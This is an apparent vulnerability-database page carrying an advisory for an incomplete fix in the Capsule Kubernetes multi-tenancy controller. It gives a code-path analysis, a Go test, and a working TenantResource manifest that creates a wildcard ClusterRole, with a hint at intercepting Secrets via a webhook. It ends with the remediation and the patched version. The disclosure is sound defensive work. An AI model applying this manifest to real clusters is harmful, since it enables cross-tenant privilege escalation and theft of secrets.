CVE-2026-65835Medium· 6.6▾ SunlitCapsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators still allow cluster-scoped resource creation (cross-tenant privilege escalation)
▾ Sunlit zone — Low / medium · no exploitation signal
impact 36.3 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 31.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.2%
CVE-2026-22872 (GHSA-qjjm-7j9w-pw72) reported that a Tenant Owner could create cluster-scoped resources
(e.g. ClusterRole, ValidatingWebhookConfiguration) through a TenantResource, because the controller
applies them with its cluster-admin ServiceAccount and SetNamespace is ineffective for cluster-scoped
kinds. The v0.13.0 fix added a cluster-scope rejection guard, but only on the NamespacedItems selection
path (ResourceReference.LoadResources -> IsNamespacedGVK, error "cluster-scoped kind ... is not allowed"). The RawItems create path — the exact vector the original advisory named — and the Generators
path were not given this guard. The vulnerability therefore persists in all releases v0.13.0 through
v0.13.7 and on trunk HEAD (8d89d6865d).
TenantResource reconcile flow:
internal/controllers/resources/namespaced.go reconcile() obtains the apply client via loadClient();
by default (impersonation off, no Spec.ServiceAccount) this is the manager client whose SA is bound to
cluster-admin (charts/capsule/templates/rbac.yaml:488-501, {fullname}-manager-rolebinding ->
roleRef cluster-admin).Collector.Collect() (collect.go) processes spec.RawItems via handleRawItem and spec.Generators
via handleGeneratorItem.handleRawItem (collect.go:406-425, trunk HEAD — byte-identical to v0.13.0):
tmplString := tpl.FastTemplate(string(item.Raw), opts.Iterator.FastContext)
obj := &unstructured.Unstructured{}
unstructured.UnstructuredJSONScheme.Decode([]byte(tmplString), nil, obj)
if ns != nil { obj.SetNamespace(ns.Name) } // ONLY mitigation
return obj, nil // NO IsNamespacedGVK / allowClusterScoped guard
handleGeneratorItem (collect.go:382-404) is the same: it only SetNamespaces on rendered objects.
The accumulated objects flow to pkg/api/processor/processor_func.go Reconcile() -> Apply() ->
clt.PatchApply(ctx, c, obj, ...) (line 167/378) with no scope check at any point.
By contrast, CollectNamespacedItems (collect.go:308) calls item.LoadResources(..., allowClusterScoped=false),
and pkg/template/reference.go:105-107 enforces:
if !allowClusterScoped && !isNamespaced {
return nil, fmt.Errorf("cluster-scoped kind %s/%s is not allowed", ...)
}
So the guard the fix added is real, but it sits on a different (selection) path than the one the CVE
described (RawItems create path). For cluster-scoped kinds, SetNamespace is ignored by the Kubernetes API
server, so the object is created cluster-wide by the cluster-admin client.
Parent-fix diff confirmation: in v0.12.4 the RawItems handler in processor.go was the vulnerable code
(obj.SetNamespace(ns.Name) then createOrUpdate via r.client). v0.13.0 refactored this into
collect.go handleRawItem but left it without the new guard.
A self-contained in-process Go test (incompletefix_poc_test.go), run against trunk HEAD with go1.26.4,
proves the asymmetry:
TestRawItemPath_NoClusterScopeGuard: feeds a ClusterRole rawItem to handleRawItem -> object returned
unchanged, no rejection (PASS).TestNamespacedItemsPath_HasClusterScopeGuard: feeds the same ClusterRole kind to
LoadResources(allowClusterScoped=false) -> rejected with
"cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed" (PASS).VULNERABLE: RawItems path accepted cluster-scoped rbac.authorization.k8s.io/v1/ClusterRole;
metadata.namespace="tenant-ns" (ignored by API server for cluster-scoped kinds)
GUARDED: NamespacedItems path correctly rejected cluster-scoped kind:
cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed
End-to-end (cluster) reproduction:
rbac.resources.create=true (the opt-in that exposes TenantResources
to tenant owners; the configuration the original CVE applies to).apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata: {name: pwn, namespace: <tenant-ns>}
spec:
resources:
- namespaceSelector: {matchLabels: {capsule.clastix.io/tenant: <tenant>}}
rawItems:
- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata: {name: tenant-escalation}
rules: [{apiGroups: ["*"], resources: ["*"], verbs: ["*"]}]
tenant-escalation is created by the cluster-admin controller,
despite the tenant owner lacking cluster RBAC to create it. Swap in ValidatingWebhookConfiguration
to intercept/exfiltrate cluster-wide Secrets.A Tenant Owner (namespace-scoped) escalates to cluster-admin-equivalent privileges and can compromise all tenants and the cluster control plane. Identical impact to CVE-2026-22872; the v0.13.0 remediation does not close the RawItems/Generators vector.
Apply the same IsNamespacedGVK / allowClusterScoped rejection inside handleRawItem and
handleGeneratorItem — or centrally in Collector.AddToAccumulation / processor.Apply — so the create
path enforces the same cluster-scope policy as the selection path. (GlobalTenantResource shares the path
but is not a privesc — cluster-admin-only to create.)
github.com/projectcapsule/capsule >= 0.13.0, <= 0.13.7Upgrade to a patched release:
github.com/projectcapsule/capsule 0.13.8Connected by shared product, vendor, weakness, or advisory.
CVE-2026-65834Medium· 6.8Capsule: CapsuleConfiguration NodeMetadata regex fields lack webhook validation, allowing MustCompile panic on all Node admission requests
CVE-2026-61672High· 7.1Capsule is a multi-tenancy and policy-based framework for Kubernetes
CVE-2023-46254Medium· 4.3capsule-proxy service discloses Namespaces of colliding tenants to owners of different tenants with the same ServiceAccount name
CVE-2026-55636Medium· 5.7Capsule is a multi-tenancy and policy-based framework for Kubernetes
CVE-2026-52808High· 7.1Gogs's write-level collaborators can mutate admin-only repository settings via API
CVE-2026-61794Medium· 6.8Capsule is a multi-tenancy and policy-based framework for Kubernetes